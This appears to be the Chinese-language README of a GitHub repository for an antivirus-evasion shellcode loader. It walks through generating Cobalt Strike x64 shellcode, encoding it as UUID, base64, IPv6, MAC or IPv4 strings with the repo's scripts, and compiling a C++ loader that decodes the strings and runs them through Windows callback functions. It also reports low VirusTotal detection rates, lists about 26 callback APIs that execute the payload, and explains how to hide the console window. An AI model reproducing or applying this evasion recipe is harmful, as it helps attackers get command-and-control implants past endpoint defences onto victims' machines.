Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 

README.md

免杀方式:回调函数

编译环境:

VS2022、Windows SDK 10.0、C++14

目录

版本号 写入内存方式 VT查杀率 时间 火绒 360 腾讯 代码
0.1 uuid转化(UuidFromStringA) 4/68 2022-02-18 c++
0.2 base64+uuid转化(UuidFromStringA) 2/68 2022-02-18 c++
0.3 ipv6转化(RtlIpv6StringToAddressA) 2/68 2022-02-21 c++
0.4 mac转化(RtlEthernetStringToAddressA) 3/67 2022-02-21 c++
0.5 ipv4转化(RtlIpv4StringToAddressA) 2/66 2022-03-07 c++

上手指南

使用Cobalt Strike生成X64位的shellcode

image-20220218181020741

版本0.1

将shellcode替换至./v0.1/trans.py中的buf变量,并执行该脚本。(shellcode -> uuid)

python3 ./v0.1/trans.py

image-20220218192747863

将转换好的uuid,替换至./v0.1/main.cpp中的uuids字符串数组中

编译运行即可。

版本0.2

将shellcode替换至./v0.2/trans.py中的buf变量,并执行该脚本。(shellcode -> uuid -> base64)

python3 ./v0.2/trans.py

image-20220218193413454

将转换好的base64,替换至./v0.2/main.cpp中的uuids_base64数组中

编译运行即可。

版本0.3

先将shellcode转化为ipv6格式,客户端读取ipv6之后调用RtlIpv6StringToAddressA恢复成shellcode再通过回调函数加载至内存

将shellcode替换至./v0.3/trans.py中的buf变量,并执行该脚本。(shellcode -> ipv6)

python3 ./v0.3/trans.py

111

将转换好的ipv6,替换至./v0.3/main.cpp中的ipv6数组中

编译运行即可。

版本0.4

将shellcode替换至./v0.4/trans.py中的buf变量,并执行该脚本。(shellcode -> mac)

python3 ./v0.4/trans.py

将转换好的mac,替换至./v0.4/main.cpp中的mac_数组中

编译运行即可。

版本0.5

将shellcode替换至./v0.5/trans.py中的buf变量,并执行该脚本。(shellcode -> ipv4)

python3 ./v0.5/trans.py

将转换好的ipv4,替换至./v0.5/main.cpp中的ipv4数组中

编译运行即可。

解决出现黑框情况

VS中运行去除黑框

原理分析

什么是UUID? 通用唯一标识符 ( Universally Unique Identifier ), 我们可以利用该机制将shellcode转化成uuid,并在运行程序时,将uuid重新转化成shellcode,加载至内存。

什么是回调函数? 回调函数(callback)是一个通过函数指针来调用的函数。

如何利用回调函数? 在windows系统中,有许多库函数需要传递一个回调函数,因此我们可以通过该机制,将恶意的shellcode加载至内存。

cucv50oqin

WINDOWS库中,可利用的回调函数,经过测试,以下均可以成功执行回调函数加载shellcode。

可利用的回调函数

EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
EnumTimeFormatsA((TIMEFMT_ENUMPROCA)ha, 0, 0);
EnumWindows((WNDENUMPROC)ha, 0);
EnumDesktopWindows(NULL,(WNDENUMPROC)ha, 0);
EnumThreadWindows(0, (WNDENUMPROC)ha, 0);
EnumSystemGeoID(0, 0, (GEO_ENUMPROC)ha);
EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)ha, 0, 0);
EnumUILanguagesA((UILANGUAGE_ENUMPROCA)ha, 0, 0);
EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)ha, 0);
EnumDesktopsW(NULL,(DESKTOPENUMPROCW)ha, NULL);
EnumSystemCodePagesW((CODEPAGE_ENUMPROCW)ha, 0);
EnumDateFormatsA((DATEFMT_ENUMPROCA)ha, 0, 0);
EnumChildWindows(NULL, (WNDENUMPROC)ha, 0);

EnumTimeFormatsW((TIMEFMT_ENUMPROCW)ha, NULL, NULL);
EnumUILanguagesW((UILANGUAGE_ENUMPROCW)ha, NULL, NULL);
EnumTimeFormatsEx((TIMEFMT_ENUMPROCEX)ha, NULL, NULL, NULL);
EnumSystemLocalesW((LOCALE_ENUMPROCW)ha, NULL);
EnumSystemLocalesEx((LOCALE_ENUMPROCEX)ha, NULL, NULL, NULL);
EnumSystemLanguageGroupsW((LANGUAGEGROUP_ENUMPROCW)ha, NULL, NULL);
EnumSystemGeoNames(NULL, (GEO_ENUMNAMEPROC)ha, NULL);
EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)ha, LGRPID_ARABIC, 0, NULL);
EnumLanguageGroupLocalesA((LANGGROUPLOCALE_ENUMPROCA)ha, LGRPID_ARABIC, 0, NULL);
EnumDateFormatsW((DATEFMT_ENUMPROCW)ha, NULL, NULL);
EnumDateFormatsExW((DATEFMT_ENUMPROCEXW)ha, NULL, NULL);
EnumDateFormatsExEx((DATEFMT_ENUMPROCEXEX)ha, NULL, NULL, NULL);
EnumDateFormatsExA((DATEFMT_ENUMPROCEXA)ha, NULL, NULL);

IPV6同uuid的原理,先将恶意payload转化成ipv6格式,再通过windows系统库函数去解析成shellcode,再去加载至内存,达到免杀效果。

参考

https://my.oschina.net/u/4079523/blog/5011399

https://cloud.tencent.com/developer/article/1819583

https://mp.weixin.qq.com/s/3Hit7a3hQ97XDHaMSZQ8cQ

https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumthreadwindows